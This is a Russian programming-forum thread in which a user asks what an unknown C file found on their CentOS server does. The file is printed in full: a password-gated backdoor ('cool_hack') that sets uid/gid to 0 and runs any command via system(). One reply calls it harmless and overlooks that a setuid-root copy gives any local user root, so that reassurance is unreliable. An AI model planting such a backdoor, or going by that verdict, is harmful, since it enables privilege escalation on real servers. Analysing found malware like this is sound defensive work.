Форум программистов, компьютерный форум, киберфорум
C/С++ под Linux
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 5.00/4: Рейтинг темы: голосов - 4, средняя оценка - 5.00
0 / 0 / 0
Регистрация: 14.10.2017
Сообщений: 2

Неизвестный скрипт на C

14.10.2017, 18:24. Показов 801. Ответов 3

Студворк — интернет-сервис помощи студентам
Добрый времени суток!

На сайте обнаружил странный файл с расширением .c . Открыл текстовым редактором, а там код:
Подскажите плис что он делает с сервером, ОС centos. Мне надо узнать что он делает.

C
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
    if(argc == 3){
    if(strcmp(argv[1],"cool_hack") == 0){
    setgid(0);
    setuid(0);
    system(argv[2]);
    }
    }
    return 0;
}
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
14.10.2017, 18:24
Ответы с готовыми решениями:

Неизвестный скрипт в адресной строке Google Chrome
При работе в Google Chrome после посещения некоторых сайтах в браузерной строке появляется неизвестный код, который при нажатии Enter,...

Неизвестный скрипт перед DOCTYPE в validator.w3.org
Здравствуйте, проблема такова, что изначально index.php шаблона beez20 начинается с &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0...

скрипт авторизации vseti.by, неизвестный параметр jsc в POST DATA
Здравствуйте, вот проблема, не могу закончить скрипт авторизации vseti.by. Пока что результат работы скрипта Неизвестная ошибка...

3
Evg
Эксперт CАвтор FAQ
 Аватар для Evg
21281 / 8305 / 637
Регистрация: 30.03.2009
Сообщений: 22,660
Записей в блоге: 30
14.10.2017, 18:27
Его нужно скомпилировать до исполняемого приложения

Его нужно запускать с двумя параметрами. Если первый параметр равен "cool_hack", то будет выставлен пользователь root:root (при запуске из-под обычного пользователя, очевидно, с такими запросами пошлют куда подальше), после чего будет запущено приложение из второго параметра
1
0 / 0 / 0
Регистрация: 14.10.2017
Сообщений: 2
14.10.2017, 18:35  [ТС]
Спасибо, вроде понятно. Взлом получается.
0
Evg
Эксперт CАвтор FAQ
 Аватар для Evg
21281 / 8305 / 637
Регистрация: 30.03.2009
Сообщений: 22,660
Записей в блоге: 30
14.10.2017, 18:45
Цитата Сообщение от AliShayx Посмотреть сообщение
Взлом получается
Очень сомнительно

Code
1
$ ./prog cool_hack trampampam
ничем не отличается от

Code
1
2
$ su -
$ trampampam
Для root'а в обоих вариантах запустится программа trampampam (хоть с этим вирусом "талибан", хоть в консоли). Для не-root'а в обоих случаях с получением root'овых прав пошлют куда подальше
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
14.10.2017, 18:45
Помогаю со студенческими работами здесь

Неизвестный NullPointerExeption
Пишу активити, при вызове которого приосходит следующее: С помощью библиотеки retrofit на сервер делается GET запрос с параметром. В...

Неизвестный вирус
Проблема заключаетс в том, что был запущен файл, выглядищий,как архив. После запуска никаких внешних изменений, нажал удалить, файл изчез и...

Неизвестный вирус
Открываю флешку,а вместо содержимого выходит ярлык этой флешки,открываю ярлык и только тогда открывается ее содержимое.Что...

Неизвестный файл
У меня такой вопрос имеется сайт http://www.magiavitraza.com на сайте нигде нету не русского контекста (иероглифы), но почему то ежедневно...

Неизвестный шифр
Я придумал новый шифр, а дать название ему не успел. Может он уже не новый, но для меня он неизвестный. 1. дан текст 2. этот текст...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
Новые блоги и статьи
Подстановка значения реквизита справочника в табличную часть документа
Maks 10.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеПерсонала", разработанного в конфигурации КА2. Задача: при выборе сотрудника (справочник Сотрудники) в ТЧ документа. . .
Очистка реквизитов документа при копировании
Maks 09.04.2026
Алгоритм из решения ниже применим как для типовых, так и для нетиповых документов на самых различных конфигурациях. Задача: при копировании документа очищать определенные реквизиты и табличную. . .
модель ЗдравоСохранения 8. Подготовка к разному выполнению заданий
anaschu 08.04.2026
https:/ / github. com/ shumilovas/ med2. git main ветка * содержимое блока дэлэй из старой модели теперь внутри зайца новой модели 8ATzM_2aurI
Блокировка документа от изменений, если он открыт у другого пользователя
Maks 08.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа, разработанного в конфигурации КА2. Задача: запретить редактирование документа, если он открыт у другого пользователя. / / . . .
Система безопасности+живучести для сервера-слоя интернета (сети). Двойная привязка.
Hrethgir 08.04.2026
Далее были размышления о системе безопасности. Сообщения с наклонным текстом - мои. А как нам будет можно проверить, что ссылка наша, а не подделана хулиганами, которая выбросит на другую ветку и. . .
Модель ЗдрввоСохранения 7: больше работников, больше ресурсов.
anaschu 08.04.2026
работников и заданий может быть сколько угодно, но настроено всё так, что используется пока что только 20% kYBz3eJf3jQ
Дальние перспективы сервера - слоя сети с космологическим дизайном интефейса карты и логики.
Hrethgir 07.04.2026
Дальнейшее ближайшее планирование вывело к размышлениям над дальними перспективами. И вот тут может быть даже будут нужны оценки специалистов, так как в дальних перспективах всё может очень сильно. . .
Горе от ума
kumehtar 07.04.2026
Эта мне ментальная установка, что вот прямо сейчас, мол, мне для полного счастья не хватает (нужное вписать), и когда я этого достигну - тогда и полный кайф. Одна из самых сильных ловушек на пути. . . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru